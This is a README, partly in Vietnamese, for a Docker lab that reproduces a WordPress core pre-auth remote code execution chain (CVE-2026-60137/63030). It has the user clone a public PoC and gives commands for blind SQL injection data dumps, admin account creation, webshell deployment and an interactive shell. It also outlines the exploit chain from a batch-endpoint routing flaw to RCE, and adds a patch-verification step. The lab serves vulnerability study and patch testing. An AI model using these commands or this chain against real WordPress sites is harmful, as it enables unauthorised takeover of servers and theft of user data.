wp2shell Lab — CVE-2026-60137 & CVE-2026-63030

WordPress Core Pre-Auth RCE lab — real exploitation, server RCE.

WARNING: Lab chạy WordPress VULNERABLE. Không expose ra internet.

Structure

.
├── docker-compose.yml     # Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin
├── exploit/               # PoC exploit (cloned from GitHub)
│   └── wp2shell.py        # Full RCE exploit
├── REPORT.md              # Root cause analysis report
└── README.md

Setup

1. Start lab

docker compose up -d

Wait until you see LAB READY in the logs:

docker compose logs -f wpcli

2. Clone PoC exploit

git clone https://github.com/0xsha/wp2shell.git exploit

This exploit:

• Python 3.7+, no pip install needed (uses only stdlib)
• Creates a new admin account WITHOUT needing to crack a password
• Deploys a webshell automatically
• Interactive shell

3. Exploit

cd exploit

# Check vulnerability (non-destructive)
python wp2shell.py check http://localhost:8080

# Extract data qua blind SQLi
python wp2shell.py read http://localhost:8080 --preset users

# RCE — tạo admin + deploy webshell + chạy command
python wp2shell.py shell http://localhost:8080 --cmd id

# Interactive shell
python wp2shell.py shell http://localhost:8080 -i

Services

Service	URL	Credentials
WordPress	http://localhost:8080	admin / Admin!2345
WP Admin	http://localhost:8080/wp-admin	admin / Admin!2345
phpMyAdmin	http://localhost:8081	root / root
REST API	http://localhost:8080/wp-json/	—
Batch endpoint	http://localhost:8080/wp-json/batch/v1	—

Exploit flow summary

1. POST /wp-json/batch/v1
   └─ Sub-request[0]: malformed path → parse error
   └─ Sub-request[1]: /wp/v2/posts + author_exclude=<SQLi>
   └─ Sub-request[2]: sacrificial route
   → $matches[] index misalignment → req[1] receives handler of req[2]
   → bypass permission_callback → SQLi into WP_Query

2. SQL Injection (author__not_in)
   → Scalar string bypass is_array() check
   → Raw SQL inject vào WHERE clause

3. Object Hydration → oEmbed Write → Parent Loop Repair
   → Poisoned WP_Post objects persist vào database

4. Changeset Privilege Escalation
   → WordPress switch current_user sang admin

5. Nested REST Request
   → Create new admin account (no password cracking needed)

6. Login + Upload webshell plugin → RCE

Verify patch

# Update WordPress in the container
docker exec -it wp2shell-lab-wp-1 bash -c \
  "curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && \
   chmod +x wp-cli.phar && \
   ./wp-cli.phar core update --version=6.9.5 --allow-root"

# Re-run exploit — must fail
python exploit/wp2shell.py check http://localhost:8080

Cleanup

docker compose down -v

References

• 0xsha/wp2shell — GitHub
• Picus: wp2shell RCE Explained
• zsec.uk: Code Trace Deep Dive
• VulnCheck Blog
• Tenable FAQ